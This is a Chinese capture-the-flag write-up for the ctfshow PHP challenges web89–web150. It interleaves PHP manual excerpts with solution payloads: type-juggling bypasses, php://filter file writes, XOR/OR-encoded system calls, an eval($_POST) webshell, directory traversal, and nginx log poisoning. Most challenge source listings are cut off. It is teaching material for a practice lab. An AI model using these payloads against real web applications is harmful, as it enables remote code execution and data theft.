web89
题目源码
1 | <?php |
新的系列开始了,还没练过,让我看看都是什么怪物,bangbang炸弹全部拿捏
直接提交一个空数组然后绕过
web90
题目源码
1 | <?php |
解题
intval
(PHP 4, PHP 5, PHP 7, PHP 8)
intval — 获取变量的整数值
说明 ¶
intval(mixed $value
, int $base
= 10): int
通过使用指定的进制 base
转换(默认是十进制),返回变量 value
的 int 数值。 intval() 不能用于 object,否则会产生 E_WARNING
错误并返回 1。
参数 ¶
value
要转换成 integer 的数量值
base
转化所使用的进制注意:如果
base
是 0,通过检测value
的格式来决定使用的进制:如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。
返回值 ¶
成功时返回 value
的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上,intval('1000000000000')
会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。
看到取整就很简单了
web91
题目源码
1 | <?php |
模式修饰符 ¶
下面列出了当前可用的 PCRE 修饰符。括号中提到的名字是 PCRE 内部这些修饰符的名称。 模式修饰符中的空格,换行符会被忽略,其他字符会导致错误。
i (
PCRE_CASELESS
)如果设置了这个修饰符,模式中的字母会进行大小写不敏感匹配。
m (
PCRE_MULTILINE
)默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), “行首”元字符 (^) 仅匹配字符串的开始位置, 而”行末”元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 “\n” 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。
s (
PCRE_DOTALL
)如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。
x (
PCRE_EXTENDED
)如果设置了这个修饰符,模式中的没有经过转义的或不在字符类中的空白数据字符总会被忽略, 并且位于一个未转义的字符类外部的#字符和下一个换行符之间的字符也被忽略。 这个修饰符 等同于 perl 中的 /x 修饰符,使被编译模式中可以包含注释。 注意:这仅用于数据字符。 空白字符 还是不能在模式的特殊字符序列中出现,比如序列 (?( 引入了一个条件子组(译注: 这种语法定义的 特殊字符序列中如果出现空白字符会导致编译错误。 比如(?(就会导致错误)。
A (
PCRE_ANCHORED
)如果设置了这个修饰符,模式被强制为”锚定”模式,也就是说约束匹配使其仅从 目标字符串的开始位置搜索。这个效果同样可以使用适当的模式构造出来,并且 这也是 perl 种实现这种模式的唯一途径。
D (
PCRE_DOLLAR_ENDONLY
)如果这个修饰符被设置,模式中的元字符美元符号仅仅匹配目标字符串的末尾。如果这个修饰符 没有设置,当字符串以一个换行符结尾时, 美元符号还会匹配该换行符(但不会匹配之前的任何换行符)。 如果设置了修饰符m,这个修饰符被忽略. 在 perl 中没有与此修饰符等同的修饰符。
S
当一个模式需要多次使用的时候,为了得到匹配速度的提升,值得花费一些时间 对其进行一些额外的分析。如果设置了这个修饰符,这个额外的分析就会执行。当前, 这种对一个模式的分析仅仅适用于非锚定模式的匹配(即没有单独的固定开始字符)。
U (
PCRE_UNGREEDY
)这个修饰符逆转了量词的”贪婪”模式。 使量词默认为非贪婪的,通过量词后紧跟
?
的方式可以使其成为贪婪的。这和 perl 是不兼容的。 它同样可以使用 模式内修饰符设置 (?U
)进行设置, 或者在量词后以问号标记其非贪婪(比如.*?
)。注意:在非贪婪模式,通常不能匹配超过 pcre.backtrack_limit 的字符。X (
PCRE_EXTRA
)这个修饰符打开了 PCRE 与 perl 不兼容的附件功能。模式中的任意反斜线后就 ingen 一个 没有特殊含义的字符都会导致一个错误,以此保留这些字符以保证向后兼容性。 默认情况下,在 perl 中,反斜线紧跟一个没有特殊含义的字符被认为是该字符的原文。 当前没有其他特性由这个修饰符控制。
J (
PCRE_INFO_JCHANGED
)内部选项设置(?J)修改本地的
PCRE_DUPNAMES
选项。允许子组重名, (译注:只能通过内部选项设置,外部的 /J 设置会产生错误。) 自 PHP 7.2.0 起,也能支持J
修饰符。u (
PCRE_UTF8
)此修正符打开一个与 Perl 不兼容的附加功能。 模式和目标字符串都被认为是 UTF-8 的。 无效的目标字符串会导致 preg_* 函数什么都匹配不到; 无效的模式字符串会导致 E_WARNING 级别的错误。 5 字节和 6 字节的 UTF-8 字符序列以无效字符序列对待。
题解
第一个多行匹配到即可进入下一个if语块,第二if语块只有单行匹配,所以换行绕过即可
web92
题目源码
1 | <?php |
和上一题一样,穿入其他进制也可以
web93
题目源码
1 | <?php |
题目解法
web94
题目源码
1 | <?php |
解法
这个要求必须有零
strpos()定义和用法
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
注释:strpos() 函数对大小写敏感。
注释:该函数是二进制安全的。
!是取反
所以这句是如果在num中没有匹配到零,则截断
web95
题目源码
1 | <?php |
最后加了个全等
intval对空格和加号开头的都会判断为正数
web96
题目源码
1 | <?php |
访问全部路径,或当前目录文件都可以
web97
题目源码
1 | <?php |
通过数组绕过 a[]=1&b[]=2
定义和用法
md5() 函数计算字符串的 MD5 散列。
md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。
来自 RFC 1321 的解释 - MD5 报文摘要算法:MD5 报文摘要算法将任意长度的信息作为输入值,并将其换算成一个 128 位长度的”指纹信息”或”报文摘要”值来代表这个输入值,并以换算后的值作为结果。MD5 算法主要是为数字签名应用程序而设计的;在这个数字签名应用程序中,较大的文件将在加密(这里的加密过程是通过在一个密码系统下[如:RSA]的公开密钥下设置私有密钥而完成的)之前以一种安全的方式进行压缩。
如需计算文件的 MD5 散列,请使用 md5_file() 函数。
语法
1 | md5(string,raw) |
参数 | 描述 |
---|---|
string | 必需。规定要计算的字符串。 |
raw | 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数 |
web98
题目源码
1 | Notice: Undefined index: flag in /var/www/html/index.php on line 15 |
include("flag.php");
:这行代码尝试包含名为 “flag.php” 的文件。如果该文件存在并且可访问,它将被包含在当前页面中。$_GET?$_GET=&$_POST:'flag';
:这行代码是一个三元运算符,检查$_GET
是否存在。如果$_GET
存在,则将$_GET
赋值给$_GET
和$_POST
。如果$_GET
不存在,则将字符串 “flag” 赋值给$_GET
。$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
:这行代码检查$_GET['flag']
是否等于字符串 “flag”。如果是,则将$_GET
赋值给$_GET
和$_COOKIE
。如果不是,则将字符串 “flag” 赋值给$_GET
。$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
:这行代码与上一行类似,只是将$_SERVER
赋值给$_GET
和$_SERVER
。highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
:这行代码使用highlight_file()
函数来高亮显示一个文件的源代码。它使用了一个条件语句来决定要高亮显示的文件。如果$_GET['HTTP_FLAG']
的值等于字符串 “flag”,则高亮显示$flag
文件的内容;否则,高亮显示当前文件的内容。通过get随便传一个参数并赋值,然后我们通过post请求传HTTP_FLAG参数并赋值为flag即可获得flag。
web99
题目
1 | <?php |
highlight_file(__FILE__);
这行代码用于在网页上显示当前代码文件的语法高亮版本,方便查看和调试代码。$allow = array();
创建一个名为$allow
的空数组。for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); }
这个循环将随机生成数字,并将它们推入$allow
数组中。循环从 36 开始,一直到 0x36d(十六进制表示),每次循环生成一个随机数,并将其添加到数组中。if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
这个条件语句检查是否存在 GET 请求参数n
,并且该参数的值在$allow
数组中。如果满足条件,就将 POST 请求参数content
的内容写入以n
命名的文件中。
in_array() 函数搜索数组中是否存在指定的值。
注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
语法
1 | in_array(search,array,type) |
参数 | 描述 |
---|---|
search | 必需。规定要在数组搜索的值。 |
array | 必需。规定要搜索的数组。 |
type | 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。 |
解题
题目没有设置in_array函数的第三个变量,所以存在漏洞
1 | //in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1 |
payload: get : ?n=1.php post:content=
web100
题目
1 | <?php |
学一个新的php函数
PHP is_numeric() 函数
is_numeric() 函数用于检测变量是否为数字或数字字符串。
PHP 版本要求:PHP 4, PHP 5, PHP 7
语法
1 | bool is_numeric ( mixed $var ) |
参数说明:
- $var:要检测的变量。
返回值
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
再学一个新函数
PHP var_dump() 函数
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
PHP 版本要求: PHP 4, PHP 5, PHP 7
解法一
payload
1 | ?v1=1&v2=var_dump($ctfshow)/*&v3=*/; |
把v3过滤掉,打印传入的v2
解法二
payload
1 | ?v1=1&v2=eval($_POST[1])?>&v3=\; |
直接闭合可以进行rce
web101
题目
1 | <?php |
题目描述是修复了web101的非预期解,上一题确实用了两种解法,那这题要用哪种解法呢?
解法
看到v2和v3都过滤了很多
payload
1 | ?v1=1&v2=echo new Reflectionclass&v3=; |
替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
web102
题目
1 | <?php |
substr
(PHP 4, PHP 5, PHP 7, PHP 8)
substr — 返回字符串的子串
说明 ¶
substr(string $string
, int $offset
, ?int $length
= null
): string
返回字符串 string
由 offset
和 length
参数指定的子字符串。
参数 ¶
string
输入字符串。
offset
如果
offset
是非负数,返回的字符串将从string
的offset
位置开始,从 0 开始计算。例如,在字符串 “abcdef
” 中,在位置0
的字符是 “a
”,位置2
的字符串是 “c
” 等等。如果offset
是负数,返回的字符串将从string
结尾处向前数第offset
个字符开始。如果string
的长度小于offset
,将返回空字符串。示例 #1 使用负数offset
<?php$rest = substr("abcdef", -1); // 返回 "f"$rest = substr("abcdef", -2); // 返回 "ef"$rest = substr("abcdef", -3, 1); // 返回 "d"?>
length
如果提供了正数的
length
,返回的字符串将从offset
处开始最多包括length
个字符(取决于string
的长度)。如果提供了负数的length
,那么string
末尾处的length
个字符将会被省略(若offset
是负数则从字符串尾部算起)。如果offset
不在这段文本中,那么将返回空字符串。如果提供了值为0
的length
,那么将返回一个空字符串。如果忽略length
或为 **null
**,返回的子字符串将从offset
位置开始直到字符串结尾。
题解
call_user_func() 调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数
file_put_contents() 用来写文件进去,第一个参数是文件名,第二个参数是需要写进文件中的内容 文件名支持伪协议
根据上述条件分析,思路大概就是通过file_put_contents()函数来创建文件,文件中注入攻击代码即可
payload: 参数分析: v1是调用方法
v2是数字字符串,且是写进文件中的内容 v3是文件名(可通过伪协议来创建)
v3=php://filter/write=convert.base64-decode/resource=2.php v2:写进2.php的内容 ——> 查看当前页面源码;<?=cat *
; ——> 转为base64为PD89YGNhdCAqYDs ——>转为16进制的ascii码为5044383959474e6864434171594473——>绕过截断,在前面随意加两位数字225044383959474e6864434171594473 v1:将数字字符串还原为base64码 ——> hex2bin
最终payload: v1=hex2bin v2=225044383959474e6864434171594473 v3=php://filter/write=convert.base64-decode/resource=2.php
web103
题目
1 | <?php |
题解
与上题payload一样
web104
题目
1 | <?php |
哈希值一样就输出flag
还可以使用数组绕过
web105
题目
1 | <?php |
web106
题目
1 | <?php |
题解
sha1 — 计算字符串的 sha1 散列值
数组绕过得到flag
web107
题目
1 | <?php |
题解
parse_str(string $string
, array &$result
): void
如果 string
是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result
则会设置到该数组里 )。
参数 ¶
string
输入的字符串。
result
如果设置了第二个变量
result
, 变量将会以数组元素的形式存入到这个数组,作为替代。警告极度不建议在没有result
参数的情况下使用此函数, 并且在 PHP 7.2 中将废弃不设置参数的行为。PHP 8.0.0 起,result
参数是强制的。md5()
函数获取不到数组的值,默认数组为0解法一
解法二
没搞出来
web108
题目
1 | <?php |
题解
strrev(string $string
): string
Returns string
, reversed.
intval(strrev($_GET[‘c’]))==0x36d
intval()函数中要877,转化成16进制就是36d
strrev()函数会颠倒顺序,所以c中真实数字要是778
结合第一个函数只能传字母,但有%00截断漏洞
intval()函数只取整数值进行转换
就用字母+%00+数字
web109
题目
1 | <?php |
题解
payload
1 | ?v1=Exception&v2=system(%27cat%20fl36dg.txt%27) |
web110
题目
1 | <?php |
题解
payload
1 | ?v1=FilesystemIterator&v2=getcwd |
FilesystemIterator类的使用,获取当前的目录则可以用getcwd函数
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件
web111
题目
1 | <?php |
题解
PHP $GLOBALS
$GLOBALS 是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问。
$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
payload
1 | ?v1=ctfshow&v2=GLOBALS |
web112
题目
1 | <?php |
题解
is_file(string $filename
): bool
判断给定文件名是否为一个正常的文件。
使用伪协议
payload
1 | php://filter/resource=flag.php |
web113
题目
1 | <?php |
过滤了filter的伪协议
题解
解法一
还是利用伪协议
payload
1 | ?file=compress.zlib://flag.php |
解法二
目录溢出
payload
1 | /?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
web114
题目
1 | <?php |
题解
payload
1 | ?file=php://filter/resource=flag.php |
web115
题目
1 | <?php |
题解
payload
1 | %0c==\f |
1 | ?num=%0c36 |
web123
题目
1 | <?php |
会将.替换掉,尝试绕过,因为只会替换一次所以将用[代替,如果含有空格、+、[则会被转化为
题解
payload
1 | CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag |
web125
题目
1 | <?php |
题解
1 | GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1]) |
输出内容函数大多被限制了,但是highlight_file
肯定没有被限制,当前页面就用到了,所以用highlight_file
高亮显示。限制了长度,那么可以考虑get再传参。
web126
题目
1 | <?php |
题解
payload
1 | GET:?$fl0g=flag_give_me |
web127
题目
1 | <?php |
题解
payload
1 | ?$fl0g=flag_give_me |
web128
题目
1 | <?php |
题解
gettext函数
You may use the underscore character ‘_’ as an alias to this function.
payload
1 | ?f1=_&f2=get_defined_vars |
get_defined_vars
get_defined_vars — 返回由所有已定义变量所组成的数组
说明 ¶
get_defined_vars(): array
此函数返回多维数组。包含调用 get_defined_vars() 作用域内所有已定义的变量、环境变量、服务器变量、用户定义变量列表。
web129
题目
1 | <?php |
题解
目录穿越
payload
1 | ?f=/ctfshow/../../../var/www/html/flag.php |
web130
题目
1 | <?php |
题解
web131
题目
1 | <?php |
题解
利用脚本使preg_match输出为FALSE
1 | import requests |
web132
题目
发现一个admin文件夹
1 | <?php |
题解
web134
题目
1 | <?php |
题解
payload:
1 | ?_POST[key1]=36d&_POST[key2]=36d |
web135
题目
1 | <?php |
题解
dnslog没用好等等回来再搞
web136
题目
1 | <?php |
题解
解法一
Y1ng师傅的脚本
1 | #!/usr/bin/env python3 |
解法二
用 tee 把 ls / 的输出,输出进文件里
1 | ?c=ls | tee 1 |
访问1下载得到文件发现f149_15_h3r3
然后访问2得到flag
web137
题目
1 | <?php |
题解
POST传参
payload:
1 | ctfshow=ctfshow::getFlag |
查看源代码得到flag
web138
题目
1 | <?php |
题解
POST
payload:
1 | ctfshow[0]=ctfshow&ctfshow[1]=getFlag |
web139
题目
web140
题目
1 | <?php |
题解
POST
payload:
1 | f1=usleep&f2=usleep |
web141
题目
1 | <?php |
正则表达式 /^\W+$/
用于判断字符串是否由非字母数字字符组成(即特殊字符和空格)。
v1,v2要为字符串
v3不能为z’f’c
题解
利用ASCII异或得到一句话木马的编码进行RCE,需要利用脚本对payload进行编码
1 | # -*- coding: utf-8 -*- |
将脚本得到的进行拼接得到payload
1 | ?v1=1&v2=2&v3=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%0c%13"^"%60%60");- |
1 | ?v1=1&v2=2&v3=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%06%0c%01%07%00%10%08%10"^"%60%60%60%20%60%60%60%60%2e%60%60%60")- |
web142
题目
1 | <?php |
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
:这行代码计算了一个整数 $d
,它的值是 $v1
乘以多个常数值的结果。这些常数值都是十六进制表示的。
题解
0和0x0绕过 这里绕过因为是因为当成了8进制和16进制
payload:
1 | ?v1=0 |
web143
题目
1 | <?php |
题解
沿用141的payload把减号换成*号并且删掉;即可
web144
题目
1 | <?php |
用strlen函数检查输入字符串的长度是否为1
我记得之前有题是绕过strlen的限制
题解
还是把141的payload改一下
1 | ?v1=1&v2=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%06%0c%01%07%00%10%08%10"^"%60%60%60%20%60%60%60%60%2e%60%60%60")&v3=- |
web145
题目
1 | <?php |
题解
这次异或^
又被过滤了,可以用或|
和取反~
。
和web143一样,修改一下构造脚本就可以。修改正则匹配条件,修改运算符。
加减乘数被过滤,也可以用或|
。
改了改脚本
1 | import re |
1 | ?v1=1&v3=|(%27%13%19%13%14%05%0d%27|%27%60%60%60%60%60%60%27)(%27%0c%13%27|%27%60%60%27)|&v2=1 |
可以访问目录
但是命令输入tac f*
就被过滤了
nnd
通畅了
preg改成题目过滤的正则
1 | ?v1=1&v3=|(%27%13%19%13%14%05%0d%27|%27%60%60%60%60%60%60%27)(%27%14%01%03%00%06%02%27|%27%60%60%60%20%60%28%27)|&v2=1 |
web146
题目
1 | <?php |
题解
还是上题的脚本preg改一下就好
1 | ?v1=1&v2=1&v3=|(%27%13%19%13%14%05%0d%27|%27%60%60%60%60%60%60%27)(%27%14%01%03%00%06%02%27|%27%60%60%60%20%60%28%27)| |
web147
题目
1 | <?php |
题解
hackbar好像坏了用不了,就用bp发包
修改为POST请求
在/后面添加
1 | ?show=;};system('ls /');/* |
1 | }直接闭合掉/*注释掉后面多余的代码 |
请求包添加
1 | \create_function |
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
web148
题目
1 | <?php |
题解
1 | ?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")(); |
web149
题目
1 | <?php |
题解
修改index.php
1 | #POST |
成功写入一句话木马
然后POST命令注入
web150
题目
1 | <?php |
题解
日志命令注入
先抓包修改UA写入一句话木马
1 | <?php eval("$_POST[1];")?> |
然后hackbar
get:?isVIP=true
post:ctf=/var/log/nginx/access.log&1=system('tac f*');
web150PULS
题目
1 | <?php |
题解
1 | __autoload — 尝试加载未定义的类 |